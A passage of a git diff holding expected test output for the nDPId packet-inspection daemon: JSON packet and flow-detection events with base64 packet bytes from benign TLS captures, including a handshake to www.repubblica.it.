+02398{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697597,"pkt_ts_usec":804171,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"+P\/CRWqLLLBdqyO5CABFAAXck5NAADkGz2RoEa9VwKgBFQG72Npkmixm8nDx41AQAEKPEwAAcS0g0F8MPSbyVgblbbvu6aMWx\/vmdy147oVtvsmmle7FFzAjy6q7XEHxhlCVy14thXmQuWJsh5I9OVhcyKMrVlBNHB2hL8uzTYwj+QmW3L\/wfqGcalT0XrIKmH+r+0zGr3CH057s0hOoLQJMTXBk2z9LT9dBM0yfsoGBkT+h9ErlxnayUC+\/IGfTvwXs0L4r2q9hbxlPb2N5I6HvSoF2w3h9maKFhSTXh3KSM4taVbzUh7Pc87y2CGZKQSHYVdby8swVwRW4kRG3FcvhfZUjqKur\/6WUGJKOzzum4czceRX4ApEbZiczBlzrmgGusnjuYjZ\/nv73rVl4S1Fu3754+ExT8L+ElssXxdzbktiTDM1pAG88NzvjJEjeh1MgtZpf2Q2OhlZM4apLSHQ4t2BjJIydHSxTairFchqp1lTH586jrmu5Ip1ePFtOc\/77vGAdgBQD9wrTBLtlCnYBEJPDZo7nfGY1Vc9mxS5h\/jSRqiOdfdy0HBozammN6+D6BUbb5qOZbgtL7NHViKd0rnS68GmgdAR+I7nc+2bpWDJOL9pO0vkm+xTE\/0gqZKu473BYBD2uKb2fqBNTF56c3pipjNVWOsmz5bCjU7mN23Cv31KxAeZqdnNBA+5\/lezEjaXt8mTpAKz1yhiXoKu399U2ZehQckUKK0KVwAlxXSHZG9JcOe6pk160aCH14Bz+hd3XGnubzMhrxSENohNQ+5XJ5yfh\/T1BYJqc\/HCaZBymoQX2+It+Di1e9j0uq4AbdXeA+rZBu9t1EfvLij\/0jhU7UePrwYWr8ek6TZdP7ebfHEy6BVNpPeLlr+llYDIe+AsDiqD\/3229jHYi+KLnQoZiZjF+k9qYlnwMY1ZuuL4OGEELPlFgz5+Llt\/Dg+O1mKpnc1qaB5fQKEp2c8A1JXUBoaW4p40D6w1SU9O5DML94Fuf+NWrmpm6vcPq1w6rXrEeTve\/5y7uO\/h74LeiOvWasJnbUePBYp4jMvIKoW2peiTz6bxnFiFQlePehhe3nKLR+hFiIyymS4MHmVlZvBds9xb8JRtlEsaQT4vz1LqpfL0ILLOob0ZzkcQFDjJlpe2HsbSalYISDUS90sDbT57r5ohZRH6+GV+lmSnJ0B2tSS175fj4fHzVWyXthVEbiEy8hXSlMf65NnX4SGPphG8xB7b49BoaeNvJLsutJlwlx5SrwyekCJwFv8BSiioFpAkEfoN1XjFGxaZ24oPVPsANsdNMjwe0grs6GWxrjBtbG44hMpg3dyQEjNDQjdH3fhN3\/F0nUIcRZGcu\/YREkBiUDX2F9PT32QyEbKQ\/3W5QRsB17GGdWt5Dt9NkEdE4+cAv44jPDfok7GV8uIcTLk0FmYXVY9ifq1itCTkVkpPgjOQQDZkDDVYMN2PrwbuzbefUlJVLar5amwhhuqxTvNyngX1Z8yBWsQThfQyQvHqqrvD7yvB40YHChnKi\/tCRbvYe3QUxIR4\/OL9OlIfqH2ohPqAbcmzPWjYrJf1tvlEm5gdEt3QgIksMJDlE24NhIdagUywnsFSitkdvJVqwJxXBrrInapI\/2XPCsfhD4zFmKGRXpaPMPWj\/Pdinxsf2QwGAPn\/2cpZ\/d3ICxY2TBZsCM2rOKJMEr6qY4ZUHfB4Qp\/QlNwmKfSwYbWPuVcw8YQ1pbWKV8CUIJo+DbWmw6a9+RqtTgiTc3rGSs6UZ0tLDOWDeg6vWqGU98ynRlOACZrOQ6wDGkVFh0NUfgKyvPm7Z2Pmieqenx45WsLVXW7fIloghReN0laudYfuWqFryJ34joxgR47QYAIwTPMhzOnxRfzGfrjs96cpta97KsibCQ1shPcl07mL8X9mFj+ypEdHHkZKxgctVIJ0Cj2MlNbHrrxY2ORAEtkmHmMI+NZGrIev0ZvJ8h1GgZzqrARuVzyOJ20Tr13HVFU8FFRFzzvajUCJbqG0="} +01778{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697597,"pkt_ts_usec":804176,"pkt_caplen":1055,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1055,"pkt_l4_len":1021,"pkt":"+P\/CRWqLLLBdqyO5CABFAAQRk5RAADkG0S5oEa9VwKgBFQG72NpkmjIa8nDx41AYAEJrKwAANlaIPKqZfmwL6N1QJJGCIWYRIPt3urXE7Q7ayAmLBZsyAQCj5SQN8uw\/+3BXbnqRJgVvfkZaiahfccUgoO5sF39QkuzfLPVYwIO1U3g\/ZPFWt0GUer2ksvwRvMCaejOMH\/ePM+aH4IX4b+WhjvS+kt0k6WGLr1x31L9RIbka4q5FgdmJjrxW1MT8z85VBW6WuGpAqDgi5KQj83UrRX+hnrxZ51XD8nst\/oNpJwJAgGBFPOxWJpq1ruQT6zsChvqmjzaCu5YmKL82bzXIUNmFcfe+zxGFeYSHXWkI6SR1BKqkbio\/YdXzPi6ED9U3YIP2vCGAJVDlUUlXDNJvuQCtHMJXq+dAUg7sndO\/RrpL9MFrJAQMfcMk65ffrN5+TJeb16JlFjqkcepAe\/9MCiUJCTBeK6BqJ8ZrtzljcDt+a9vGj9H6p9put2f0O71cWCD+T9ZPlvDHC3CEZ4oPdVfXbDB9L5BTlnhSFpaO+Mp13uhVIWh29Ydpig3vaVjjGSm9\/ZE7E2YMLjDpan7SQ2zy43987HpcpcvY42MMWUjB08eIzJ2wghnZextd0JXczlfWdviXpV1NFgJPH5+SH8SLEFunCMX\/FWb4Ww2XshPRvParY32hYZ9QwzGDYIk5jpuAw2\/Gws2JNV8pggxRc30ecfhBPWkW5GNgGyJLXd3gdUv8kToUclYLWh9Fl1OUQ1vUAqTTgHdtxccQx3z9AmRxdk7s2RYbamZnY7eDjyGFrApN5WyLA10tNwift0ywIbLCEfwH4mriRMLsGkS+yIY5v0LyHAPZLDvma24k3Y10pcWlr+5EFHA6KEkGU7pAO\/xzBmMSxI4pHtplXhxsBewL0GnTOWG\/WSjNLKskp4B\/hWiOIgAM2kpooHFyzI0zJ06i4DizyzpeZw0eY+q6NS2CSfNkjVybHBeKQqka+0TNScdvt5W2RI\/SCdKnZygysYhajKxywAwmJyGPW71O\/q668WQhtG6CymZqiJC17RagLWkkHWLVVavvy4AdiVd3Vdz9HUWlgvwxuums7NmvJDzjs8tEFSJe9c+Lzux2k8Ypq1JuHRTzhVcK94gQJ1qHNvm3gn4ZLfXi7qzxPKWv5aMbRZHs12BMnhrpsOIfyRQp2N\/x1cW6zcBr4Mx4GQwvVTvxJHBktXR5LLWuZV29L91xIJJYsVtejg1\/v196kjx3M69qBVYmjBkk7sss5LtKVS0k9Ci+76hTJdm52fU4cmiDMC3USTV4udRKTx+XDDwCbCXRvOabP4kqlGXczLEFXzTtAgXq0x7k56Szmy6cAgWZnjhFZ\/CXQZJKw2U7NF2lR3JHw0ySphHuxPs="} +00418{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697597,"pkt_ts_usec":804261,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"LLBdqyO5+P\/CRWqLCABFAAAoAABAAEAGYazAqAEVaBGvVdjaAbvycPHjZJoyGlAQD+lxKAAA"} +00419{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697597,"pkt_ts_usec":804261,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"LLBdqyO5+P\/CRWqLCABFAAAoAABAAEAGYazAqAEVaBGvVdjaAbvycPHjZJo2A1AQD9ltTwAA"} +00510{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697597,"pkt_ts_usec":804886,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"LLBdqyO5+P\/CRWqLCABFAABoAABAAEAGYWzAqAEVaBGvVdjaAbvycPHjZJo2A1AYEADIrQAAFAMDAAEBFwMDADWIDEokt5taLIJzA5NMYG\/eYqA6KC2vSRqyaE484F3ECDnoz6ppoluplBDgdrgspboN28s30g=="} +00588{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697597,"pkt_ts_usec":805003,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"LLBdqyO5+P\/CRWqLCABFAAChAABAAEAGYTPAqAEVaBGvVdjaAbvycPIjZJo2A1AYEACakAAAFwMDAHQmqSO2Rj3PZrm5EQF\/q5U45+97psJI4MT1NwULeuI4yAkC+dXv1sSss7LXjO92DmlU7FNtd0zWJi49PyFyA35TSov3A2yWn2fF7Be\/bBx+Uh1139L3KVXSGKdgjuFKawrqJhVeEZ1RPzqhdht2NYYTL+zmRw=="} +00419{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697597,"pkt_ts_usec":832925,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"+P\/CRWqLLLBdqyO5CABFAAAok5VAADkG1RZoEa9VwKgBFQG72NpkmjYD8nDyI1AQAEJ8pgAA"} +00419{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697597,"pkt_ts_usec":833514,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"+P\/CRWqLLLBdqyO5CABFAAAok5ZAADkG1RVoEa9VwKgBFQG72NpkmjYD8nDynFAQAEJ8LQAA"} +02313{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697597,"pkt_ts_usec":855003,"pkt_caplen":1445,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1445,"pkt_l4_len":1411,"pkt":"+P\/CRWqLLLBdqyO5CABFAAWXk5dAADkGz6VoEa9VwKgBFQG72NpkmjYD8nDynFAYAELIhwAAFwMDBWplzicVCZkneNntXmzlkgcFPUoR724b66\/4aFGXjza5mmC3zqfD8bM7gil7myUhARY2kw9OHvr9uwzPmTvBHjRsELIrWZwcLZLV99JfhGJTo2AoCcZCgLpYTIgfIUP5yU7xwkkVNn+vj1tSupzP0tmv56auqdA\/UR+KA1PORkvMHA3ya80UFD6NE5E0Bg7xxaZ6cP0Px7YhPWHKZn6s4KxtzuFOOydj9eGw5Kehc\/SnpSlwzmcxdp3iCWueCFDfp29IsYOBx\/gPDnQbEVHXpyd0ziy\/lVYJCR6VM9MRn8QvKeGW3AiZR4yFbraogEKpcTGTh1T55hGtYvibNUKrIBdcIwzGVctVJ9bIWJ8pypthvUjVxU7s9kaKdI+vH\/LIT1Nj\/kTSSAsltH2kDpRkeP78vWQVSTKSa\/NLd7OJuWWyHjfdMVIsulnSNLRm2mLF+DB\/2DgVryJ+Np2bhlT70OQRLbs5mXEare2aozleJtcUPNPTD8weucmD8+PVHdQUdlfUTt3zjzhdzsp82hjYg5yjrJpzTSonmIPTNwOpysWltsa6zXRjk++cCbFk6QUoiZ9+Dn3JJ4O5fc3K59ax2s6cgnpIvwqQkWpV4WdTqyWxjefa498GtVerV7PY\/XzcsCtBEWzDdjlLDmwBobWpGfk3s\/VszXVEAR4rwm7\/\/yu558oAFlDkTgiBSfzj7qp00\/kRFuxfc3L2G05sb7A5RRZ7sr3OJE0pckqzmYOP26SoI1UMKRR\/HW7PxUmEa+3WKEktQ3kYEFQrQwxdy70ku1m7PjlyidteV5MEOUoIILdx75zVIQaHbJcMNE78mY5kgGcqjPjHDKQSdksBlgoV025VzfLuNCoo8kMBGIGzuBryleLJHnPP29XCAqV6gYFw9PiLwC5V9dEcjAnkr4apoDL1NTRE+ca4io6PUqFcpjKEbz1X\/bNC2EPVLRfm9+BFFYjQpR7\/AeuLjJEyVnbvapEltGx1fTnDg5+p\/viBdp9FPrECd5xeMKznZ\/Z5uz7VTMjvpK5c\/6dtLQ6MzoNtDx6U5vKyu03ougGxsI67C96xoB8Ru9mrmEhNLGaZPMo\/MRHGcoWPWdMu4DD4nrPmUrq7hJMKsmFPV3tyhx\/ZUIqLpKeZdTP7ffnHf6G6BjvTfKoi8RXLa3S18CBhnC+bfrYD1d2teesludojFv\/XikOZSDkYBRSTeC1ECOOalXjjIkc2AZd1XaxX\/729CzpGwA0n3hvku6mS9RZ+KQhlhv\/dCRi45nUxoccgJQQaBNSCpC9jU3xQOF+ZEOweldBvTqKcPu+Q2DEH4H0dQIFQWnxk\/DhQY4Via144XNb4Bo+4k8s271yWtexNCD1KfV2TjPrCNb6XVaWfklvPy3BpTSHcfinyRMyVNzQam\/e\/vOZRMuTmWx\/HIjOVWq5Ipi+MMW5i8nd7G12OHiuFMIhjlyt5uSA5H8QXC0aY6O2firVleGCsdkSDTJ0qUe3PMMtHhXoMkY24TtILf\/hZk\/u5Bbn6h7m3wcle8fSJFRbjLGhRfoUeMBRG6KbjmEpDoeCvVvDn3MEI26y4dLEtY6O0uPHIP6TTYInmwFv51IzzmyLwQKuWJnZRAISY4Lq3SAOetGVLBgDL+tlvlCu6krmwzJzE1DgAjIjr4TjX9JKtMSJWDu9ecXMyAkU6c\/sSb9HZq4Loprj4HvS9SCMdbYMyQye3e4YdAWX+KS98qzGBclqf4EZV255jjHhTlQMCf8l4+bN5U8wSPZbVeatya7uJFa7OmqBgpuzwu4unc9EHFcOKqGY5ZFnBjvD449vjrPDMJ3GKlrwyQp4JU+DlPlxYM51pSY5AYewjIEAHGag="} diff --git a/test/results/tls_long_cert.pcap.out b/test/results/tls_long_cert.pcap.out new file mode 100644 index 000000000..94c5e8040 --- /dev/null +++ b/test/results/tls_long_cert.pcap.out @@ -0,0 +1,19 @@ +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"tls_long_cert.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1553619078033,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.126","dst_ip":"104.111.215.93","src_port":60174,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"tls_long_cert.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1553619078,"pkt_ts_usec":33240,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"BBjWMe9aeDHBvV4kCABFAABAAABAAEAGN8XAqAJ+aG\/XXesOAbssL+yBAAAAALAC\/\/8wZwAAAgQFtAEDAwYBAQgKJK\/ZdwAAAAAEAgAA"} +00441{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"tls_long_cert.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1553619078,"pkt_ts_usec":58439,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eDHBvV4kBBjWMe9aCABFAAA8AABAADYGQclob9ddwKgCfgG76w4xmkZeLC\/sgqAScSAcqQAAAgQFtAQCCArQt2rgJK\/ZdwEDAwc="} +00428{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"tls_long_cert.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1553619078,"pkt_ts_usec":58524,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"BBjWMe9aeDHBvV4kCABFAAA0AABAAEAGN9HAqAJ+aG\/XXesOAbssL+yCMZpGX4AQCAq0dAAAAQEICiSv2Y7Qt2rg"} +01125{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"tls_long_cert.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1553619078,"pkt_ts_usec":58827,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"BBjWMe9aeDHBvV4kCABFAAI5AABAAEAGNczAqAJ+aG\/XXesOAbssL+yCMZpGX4AYCAq5aAAAAQEICiSv2Y7Qt2rgFgMBAgABAAH8AwNIXs7ENgjZTiNTE9f7O6LZiEI6uIc1pNyGFGqcdf\/LQyBdW5a1Bj3nkJn1H8mNAZlpujswEx54IJ8raTCHYls3FgAi+voTARMCEwPAK8AvwCzAMMypzKjAE8AUAJwAnQAvADUACgEAAZGKigAAAAAAFgAUAAARd3d3LnJlcHViYmxpY2EuaXQAFwAA\/wEAAQAACgAKAAhKSgAdABcAGAALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEAEgAAADMAKwApSkoAAQAAHQAgHx3Qgw74Ok9EJ4ixjMksToTJ1f0PfjMmJ83bCaqtyGQALQACAQEAKwALCgoKAwQDAwMCAwEAGwADAgACCgoAAQAAFQDHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00786{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"tls_long_cert.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1553619078033,"flow_last_seen":1553619078058,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.126","dst_ip":"104.111.215.93","src_port":60174,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.repubblica.it","ja3":"66918128f1b9b03303d77c6f2eefd128","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00428{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"tls_long_cert.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1553619078,"pkt_ts_usec":88544,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eDHBvV4kBBjWMe9aCABFAAA0ITlAADYGIJhob9ddwKgCfgG76w4xmkZfLC\/uh4AQAOu5bwAAAQEICtC3av8kr9mO"} +02376{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"tls_long_cert.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1553619078,"pkt_ts_usec":91883,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"eDHBvV4kBBjWMe9aCABFAAXcITpAADYGGu9ob9ddwKgCfgG76w4xmkZfLC\/uh4AQAOuDIAAAAQEICtC3awAkr9mOFgMDAE4CAABKAwNVMtps0XtokkjC1gPE4\/KUJ6lo4L6JfLUX\/EQs\/RZj3ADAMAAAIv8BAAEAAAAAAAALAAQDAAECACMAAAAFAAAAEAAFAAMCaDIWAwMPfgsAD3oAD3cACuIwggreMIIJxqADAgECAhAHrG10aT6YsaH2msNNW\/HcMA0GCSqGSIb3DQEBCwUAMF4xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xHTAbBgNVBAMTFEdlb1RydXN0IFJTQSBDQSAyMDE4MB4XDTE5MDMwNzAwMDAwMFoXDTIwMDUwNTEyMDAwMFowZDELMAkGA1UEBhMCSVQxDTALBgNVBAgTBFJvbWExDTALBgNVBAcTBFJvbWExHDAaBgNVBAoTE0dFREkgRGlnaXRhbCBTLnIubC4xGTAXBgNVBAMTEHd3dy5yZXBzdGF0aWMuaXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDV+MoTBM9TK0OoJt5QuApA9tPXya0zX1a3Ag59txQIELvplH2CUI0yPk6MwlUfk\/QyB9VJwP5ynDZulBq+PhC6m+ahoGcKrSSR22gBsGAaQ6CStsVpuQYre1BQCuOkzyHA6qdEhCOwn3lpMMaU2v5rAArYgOlI6q9E0FALF73FSHRzTan9MjcennBUYmGDNqjkvspY0oO37dFO6zbNfZHlbVANbvbKGBll10AGMHR\/W\/+WpodtUD8TaFInXBFlfGdOAeUXAN1a90MpS6947KQDst1elD\/R\/MU5ndBWKX2i4xodj56emiB+7Oj67\/EMg7iyXoZGJS2MS8+LWOMXPgezAgMBAAGjggeQMIIHjDAfBgNVHSMEGDAWgBSQWP+wnHWoUVR3se3yo0MWOJ5sxTAdBgNVHQ4EFgQU55+91g3brgkpANCGNzfwge0PHBMwggUBBgNVHREEggT4MIIE9IIQd3d3LnJlcHN0YXRpYy5pdIIMcmVwc3RhdGljLml0ghVhbXAtdmlkZW8ubGFzdGFtcGEuaXSCEXd3dy5yZXB1YmJsaWNhLml0ghNhbXAtdmlkZW8uZGVlamF5Lml0ghlhbXAtdmlkZW8uZC5yZXB1YmJsaWNhLml0ghF3d3cuZ2VsZXN0YXRpYy5pdIIQb2FzanMua2F0YXdlYi5pdIIVdmlkZW8uZC5yZXB1YmJsaWNhLml0ghN3d3cudGVzdC5jYXBpdGFsLml0ghRuYXBvbGkucmVwdWJibGljYS5pdIIUdmlkZW8uaWxzZWNvbG94aXguaXSCFGdlbm92YS5yZXB1YmJsaWNhLml0ghFjZG4uZ2VsZXN0YXRpYy5pdIIQdmlkZW8uZ2Vsb2NhbC5pdIIPbWVkaWEuZGVlamF5Lml0ggxtZWRpYS5tMm8uaXSCIGFtcC12aWRlby5lc3ByZXNzby5yZXB1YmJsaWNhLml0ghNkb3dubG9hZC5nZWxvY2FsLml0ghBhbXAtdmlkZW8ubTJvLml0ghVib2xvZ25hLnJlcHViYmxpY2EuaXSCFHRvcmluby5yZXB1YmJsaWNhLml0ghJzY3JpcHRzLmthdGF3ZWIuaXSCFXBhbGVybW8ucmVwdWJibGljYS5pdIIScm9tYS5yZXB1YmJsaWNhLml0ghZ2aWRlby54bC5yZXB1YmJsaWNhLml0ghRhbXAtdmlkZW8uZ2Vsb2NhbC5pdIIcdmlkZW8uZXNwcmVzc28ucmVwdWJibGljYS5pdIIOd3d3LmNhcGl0YWwuaXSCFXZpZGVvLmxpbWVzb25saW5lLmNvbYIQbWVkaWEuY2FwaXRhbC5pdIIrc3luZGljYXRpb24tdm9kLXByby5ha2FtYWkubWVkaWEua2F0YXc="} +00842{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6,"source":"tls_long_cert.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1553619078033,"flow_last_seen":1553619078091,"flow_tot_l4_data_len":2177,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":362,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.126","dst_ip":"104.111.215.93","src_port":60174,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.repubblica.it","ja3":"66918128f1b9b03303d77c6f2eefd128","ja3s":"35af4c8cd9495354f7d701ce8ad7fd2d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02378{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"tls_long_cert.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1553619078,"pkt_ts_usec":92957,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"eDHBvV4kBBjWMe9aCABFAAXcITtAADYGGu5ob9ddwKgCfgG76w4xmkwHLC\/uh4AQAOt2FwAAAQEICtC3awAkr9mOZWIuaXSCD3Rlc3QuY2FwaXRhbC5pdIIPdmlkZW8uZGVlamF5Lml0ghN2aWRlby5yZXB1YmJsaWNhLml0ghRtaWxhbm8ucmVwdWJibGljYS5pdIIYdmlkZW8ubGFudW92YXNhcmRlZ25hLml0ggx2aWRlby5tMm8uaXSCE3Bhcm1hLnJlcHViYmxpY2EuaXSCDHZpZGVvLjNuei5pdIIrc3luZGljYXRpb24tdm9kLWhkcy5ha2FtYWkubWVkaWEua2F0YXdlYi5pdIIXYW1wLXZpZGVvLnJlcHViYmxpY2EuaXSCEXZpZGVvLmxhc3RhbXBhLml0ghp3ZWJmcmFnbWVudHMucmVwdWJibGljYS5pdIIaYW1wLXZpZGVvLnhsLnJlcHViYmxpY2EuaXSCGWFtcC12aWRlby5saW1lc29ubGluZS5jb22CEG1lZGlhLmthdGF3ZWIuaXSCEmJhcmkucmVwdWJibGljYS5pdIIrc3luZGljYXRpb24tdm9kLWhscy5ha2FtYWkubWVkaWEua2F0YXdlYi5pdIIQYW1wLXZpZGVvLjNuei5pdIIuc3luZGljYXRpb24zcmQtdm9kLXByby5ha2FtYWkubWVkaWEua2F0YXdlYi5pdIIVZmlyZW56ZS5yZXB1YmJsaWNhLml0ghhhbXAtdmlkZW8uaWxzZWNvbG94aXguaXSCHGFtcC12aWRlby5sYW51b3Zhc2FyZGVnbmEuaXSCEmNkbi5mbHYua2F0YXdlYi5pdDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMD4GA1UdHwQ3MDUwM6AxoC+GLWh0dHA6Ly9jZHAuZ2VvdHJ1c3QuY29tL0dlb1RydXN0UlNBQ0EyMDE4LmNybDBMBgNVHSAERTBDMDcGCWCGSAGG\/WwBATAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAECAjB1BggrBgEFBQcBAQRpMGcwJgYIKwYBBQUHMAGGGmh0dHA6Ly9zdGF0dXMuZ2VvdHJ1c3QuY29tMD0GCCsGAQUFBzAChjFodHRwOi8vY2FjZXJ0cy5nZW90cnVzdC5jb20vR2VvVHJ1c3RSU0FDQTIwMTguY3J0MAkGA1UdEwQCMAAwggEEBgorBgEEAdZ5AgQCBIH1BIHyAPAAdgCkuQmQtBhYFIe7E6LMZ3AKPDWYBPkb37jjd80OyA3cEAAAAWlYkSnQAAAEAwBHMEUCIEDvaleIrTBvK6FB\/OkCqlyXj09JkUG\/tby2JJZ\/t2VOAiEAqSEut\/LfPM4oFW7QXn9fPaZecEo0viGqwKjcSP9jXhYAdgCHdb\/nWXz4jEOZX73zbv9WjUdWNv9KtWDBtOr\/XqCDDwAAAWlYkSsZAAAEAwBHMEUCIQC9+CIErtWpgJN+vZlgoV5iFQL45uxlhFYyw13NhM\/b